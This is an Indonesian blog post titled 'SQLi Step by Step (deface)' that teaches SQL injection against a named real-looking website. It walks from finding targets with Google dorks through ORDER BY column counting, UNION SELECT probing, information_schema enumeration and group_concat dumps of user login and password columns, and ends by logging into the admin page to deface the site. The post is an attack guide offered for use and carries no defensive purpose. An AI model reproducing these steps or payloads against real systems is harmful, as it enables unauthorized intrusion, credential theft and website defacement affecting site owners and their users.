SQLi Step by Step (deface)

[1]
 Mencari target,,
untuk mencari target kalian dapat memakai google dorks untuk SQLi
contoh : http://www.pantirapih.or.id/baru09/k...d.php?id=47766

[2]
 Setelah menemukan target , langkah berikutnya adalah mengecek apakah target dapat di inject atau tidak.
cara mengecek dengan menambahkan karakter * atau - pada akhir alamat url.
contoh : http://www.pantirapih.or.id/baru09/k...d.php?id=47766*
http://www.pantirapih.or.id/baru09/k....php?id=47766-

jika ditemukan error seperti
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/u198/domain/pantirapih.or.id/web/baru09/konsultasi_read.php on line 13

maka target tersebut vuln / dapat di inject.

[3]
 mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : +order+by+

contoh:
http://www.pantirapih.or.id/baru09/k...6+order+by+1--

sekarang cek secara satu per satu
contoh:
http://www.pantirapih.or.id/baru09/k...6+order+by+1--
http://www.pantirapih.or.id/baru09/k...6+order+by+2--
hingga
http://www.pantirapih.or.id/baru09/k...+order+by+12--
http://www.pantirapih.or.id/baru09/k...+order+by+13--

sehingga muncul error atau hilang pesan error...
misal:
http://www.pantirapih.or.id/baru09/k...+order+by+13--

berarti yang kita ambil adalah sampai angka 12


[4]
 untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 13
gunakan perintah : +and+1=2+union+select+
maka:
http://www.pantirapih.or.id/baru09/k...8,9,10,11,12--

maka akan muncul angka 4 ,7 , 8
gunakan perintah version() untuk mengecek versi sql yg dipakai , user() untuk mengetahui nama user, database() untuk mengetahui nama database ,masukan perintah tsb pada angka yg keluar tadi
contoh:
http://www.pantirapih.or.id/baru09/k...),9,10,11,12--

lihat versi yg digunakan, jika versi 4.x.x.xx tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table dan column yg ada pada web tersebut karena tidak bisa menggunakan perintah +from+information_schema
untuk versi 5.x.x.xx berarti anda beruntung tidak perlu menebak table dan column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah +from+information_schema

[5]
 Untuk menampilkan semua isi dari table tersebut adalah
perintah group_concat(table_name) -> dimasukan pada angka yg keluar tadi dan
perintah +from+information_schema.tables+where+table_schema =database()-- -> dimasukan setelah angka terakhir

contoh:
http://www.pantirapih.or.id/baru09/k...a=database()--


cari table dengan nama seperti

user, usr, username, user_name, login, user_admin, name, admin_user, dll

di dalam tersebut biasanya tersimpan username dan password.

dalam contoh ini adalah users

ubah dulu kata users ke dalam hexa memakai tool ini ASCII to HEX

hasilnya adalah 75 73 65 72 73 ,hilangkan spasinya menjadi 7573657273

[6]
Mencari isi table

Perintah : group_concat(column_name) -> dimasukan pada angka yg keluar tadi
perintah : +from+information_schema.columns+where+table_name= 0xhexa--

-> dimasukan setelah angka terakhir

ganti hexa dengan kata users yg sudah di convert ke hexa



contoh :

http://www.pantirapih.or.id/baru09/k...0x7573657273--

maka isi dari table users adalah

id,login,password

[7]
 Melihat isi dari column id , login password.
gunakan perintah : group_concat(0x3a,hasil isi column yg mau dikeluarkan) -> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) -> dimasukan setelah angka terakhir
contoh : http://www.pantirapih.or.id/baru09/k...2+from+users--
0x3a adalah tanda : (titik dua )
[8]
 Langkah terakhir adalah mencari halaman login admin dan masukkan username beserta password yang anda dapatkan

0 komentar:

Posting Komentar

 

BLAZE.info Copyright © 2011-2012 | Powered by Blaze.vbs